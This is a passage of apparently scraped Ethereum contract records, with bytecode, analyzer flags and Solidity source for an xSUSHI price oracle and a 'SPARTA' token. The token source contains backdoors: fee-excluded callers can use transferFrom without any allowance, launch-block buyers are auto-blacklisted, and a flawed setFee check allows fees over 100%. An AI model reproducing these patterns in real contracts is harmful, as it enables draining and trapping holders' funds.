11541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122007fa34e77f28622628969a70352004422726af862a36e518510c7390945667a664736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,181 |
0x3D270E764391eF6E41435106D4336d4e23626Bb7
|
/**
*Submitted for verification at Etherscan.io on 2021-03-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
interface IAggregator {
function latestAnswer() external view returns (int256 answer);
}
/// @title xSUSHIOracle
/// @author BoringCrypto
/// @notice Oracle used for getting the price of xSUSHI based on Chainlink
/// @dev
contract xSUSHIOracleV1 is IOracle {
using BoringMath for uint256; // Keep everything in uint256
IERC20 public immutable sushi;
IERC20 public immutable bar;
IAggregator public immutable sushiOracle;
constructor (IERC20 sushi_, IERC20 bar_, IAggregator sushiOracle_) public {
sushi = sushi_;
bar = bar_;
sushiOracle = sushiOracle_;
}
// Calculates the lastest exchange rate
// Uses sushi rate and xSUSHI conversion and divide for any conversion other than from SUSHI to ETH
function _get(
address divide,
uint256 decimals
) internal view returns (uint256) {
uint256 price = uint256(1e36);
price = (price.mul(uint256(sushiOracle.latestAnswer())) / bar.totalSupply()).mul(sushi.balanceOf(address(bar)));
if (divide != address(0)) {
price = price / uint256(IAggregator(divide).latestAnswer());
}
return price / decimals;
}
function getDataParameter(
address divide,
uint256 decimals
) public pure returns (bytes memory) {
return abi.encode(divide, decimals);
}
// Get the latest exchange rate
/// @inheritdoc IOracle
function get(bytes calldata data) public override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
(, rate) = peek(data);
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "xSUSHI Chainlink";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "xSUSHI-LINK";
}
}
|
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c8063d39bbef011610076578063d6d7d5251161005b578063d6d7d525146102f1578063eeb8a8d3146102f1578063febb0f7e1461037c576100a3565b8063d39bbef0146101ff578063d568866c14610281576100a3565b80630a087903146100a8578063a1e66a40146100d9578063c699c4d6146100e1578063cc9e38c6146101c6575b600080fd5b6100b0610384565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100b06103a8565b610151600480360360208110156100f757600080fd5b81019060208101813564010000000081111561011257600080fd5b82018360208201111561012457600080fd5b8035906020019184600183028401116401000000008311171561014657600080fd5b5090925090506103cc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018b578181015183820152602001610173565b50505050905090810190601f1680156101b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610151600480360360408110156101dc57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610407565b61026f6004803603602081101561021557600080fd5b81019060208101813564010000000081111561023057600080fd5b82018360208201111561024257600080fd5b8035906020019184600183028401116401000000008311171561026457600080fd5b509092509050610443565b60408051918252519081900360200190f35b6101516004803603602081101561029757600080fd5b8101906020810181356401000000008111156102b257600080fd5b8201836020820111156102c457600080fd5b803590602001918460018302840111640100000000831117156102e657600080fd5b509092509050610457565b6103616004803603602081101561030757600080fd5b81019060208101813564010000000081111561032257600080fd5b82018360208201111561033457600080fd5b8035906020019184600183028401116401000000008311171561035657600080fd5b509092509050610490565b60408051921515835260208301919091528051918290030190f35b6100b06104e0565b7f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe281565b7f000000000000000000000000e572cef69f43c2e488b33924af04bdace19079cf81565b60408051808201909152600b81527f7853555348492d4c494e4b00000000000000000000000000000000000000000060208201525b92915050565b6040805173ffffffffffffffffffffffffffffffffffffffff939093166020840152828101919091528051808303820181526060909201905290565b600061044f8383610490565b949350505050565b505060408051808201909152601081527f78535553484920436861696e6c696e6b00000000000000000000000000000000602082015290565b600080600080858560408110156104a657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516925060200135905060016104d38383610504565b9350935050509250929050565b7f0000000000000000000000008798249c2e607446efb7ad49ec89dd1865ff427281565b6000806ec097ce7bc90715b34b9f1000000000905061076d7f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe273ffffffffffffffffffffffffffffffffffffffff166370a082317f0000000000000000000000008798249c2e607446efb7ad49ec89dd1865ff42726040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156105c357600080fd5b505afa1580156105d7573d6000803e3d6000fd5b505050506040513d60208110156105ed57600080fd5b5051604080517f18160ddd000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000008798249c2e607446efb7ad49ec89dd1865ff427216916318160ddd916004808301926020929190829003018186803b15801561067557600080fd5b505afa158015610689573d6000803e3d6000fd5b505050506040513d602081101561069f57600080fd5b5051604080517f50d25bcd000000000000000000000000000000000000000000000000000000008152905161075f9173ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000e572cef69f43c2e488b33924af04bdace19079cf16916350d25bcd91600480820192602092909190829003018186803b15801561072c57600080fd5b505afa158015610740573d6000803e3d6000fd5b505050506040513d602081101561075657600080fd5b5051859061081b565b8161076657fe5b049061081b565b905073ffffffffffffffffffffffffffffffffffffffff841615610809578373ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d157600080fd5b505afa1580156107e5573d6000803e3d6000fd5b505050506040513d60208110156107fb57600080fd5b5051818161080557fe5b0490505b82818161081257fe5b04949350505050565b60008115806108365750508082028282828161083357fe5b04145b61040157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604482015290519081900360640190fdfea264697066735822122000789cb063c9445c8e78c63d06fae6e1b754526f43c1c9927dc0a2829f60c47964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,182 |
0xabcb4793ecce5db06977a6271eea13d46fe7d1b5
|
/**
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SPARTA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "sparta";//
string private constant _symbol = "SPARTA";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 8;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 5;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x84be3EF344e43643E49e7c5F8da8A4d440E7B491);//
address payable private _marketingAddress = payable(0x84be3EF344e43643E49e7c5F8da8A4d440E7B491);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 100 || totalBuyFee <= 100, "Fees must be under 100%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461053c578063dd62ed3e14610552578063ea1644d514610598578063f2fde38b146105b857600080fd5b8063a9059cbb146104b7578063bfd79284146104d7578063c3c8cd8014610507578063c492f0461461051c57600080fd5b80638f9a55c0116100d15780638f9a55c01461043257806395d89b411461044857806398a5c31514610477578063a2a957bb1461049757600080fd5b80637c519ffb146103e95780637d1db4a5146103fe5780638da5cb5b1461041457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b96565b6105d8565b005b34801561020a57600080fd5b5060408051808201909152600681526573706172746160d01b60208201525b6040516102369190611c5b565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611cb0565b610677565b6040519015158152602001610236565b34801561027b57600080fd5b5060155461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50683635c9adc5dea000005b604051908152602001610236565b3480156102d957600080fd5b5061025f6102e8366004611cdc565b61068e565b3480156102f957600080fd5b506102bf60195481565b34801561030f57600080fd5b5060405160098152602001610236565b34801561032b57600080fd5b5060165461028f906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611d1d565b61070e565b34801561036b57600080fd5b506101fc61037a366004611d4a565b610759565b34801561038b57600080fd5b506101fc6107a1565b3480156103a057600080fd5b506102bf6103af366004611d1d565b6107ec565b3480156103c057600080fd5b506101fc61080e565b3480156103d557600080fd5b506101fc6103e4366004611d65565b610882565b3480156103f557600080fd5b506101fc610924565b34801561040a57600080fd5b506102bf60175481565b34801561042057600080fd5b506000546001600160a01b031661028f565b34801561043e57600080fd5b506102bf60185481565b34801561045457600080fd5b5060408051808201909152600681526553504152544160d01b6020820152610229565b34801561048357600080fd5b506101fc610492366004611d65565b610967565b3480156104a357600080fd5b506101fc6104b2366004611d7e565b610996565b3480156104c357600080fd5b5061025f6104d2366004611cb0565b610a55565b3480156104e357600080fd5b5061025f6104f2366004611d1d565b60116020526000908152604090205460ff1681565b34801561051357600080fd5b506101fc610a62565b34801561052857600080fd5b506101fc610537366004611db0565b610ab6565b34801561054857600080fd5b506102bf60085481565b34801561055e57600080fd5b506102bf61056d366004611e34565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a457600080fd5b506101fc6105b3366004611d65565b610b57565b3480156105c457600080fd5b506101fc6105d3366004611d1d565b610bfb565b6000546001600160a01b0316331461060b5760405162461bcd60e51b815260040161060290611e6d565b60405180910390fd5b60005b81518110156106735760016011600084848151811061062f5761062f611ea2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066b81611ece565b91505061060e565b5050565b6000610684338484610ce5565b5060015b92915050565b600061069b848484610e09565b3360009081526005602052604090205460ff166107045761070484336106ff85604051806060016040528060288152602001611fe8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d7565b610ce5565b5060019392505050565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161060290611e6d565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107835760405162461bcd60e51b815260040161060290611e6d565b60168054911515600160b01b0260ff60b01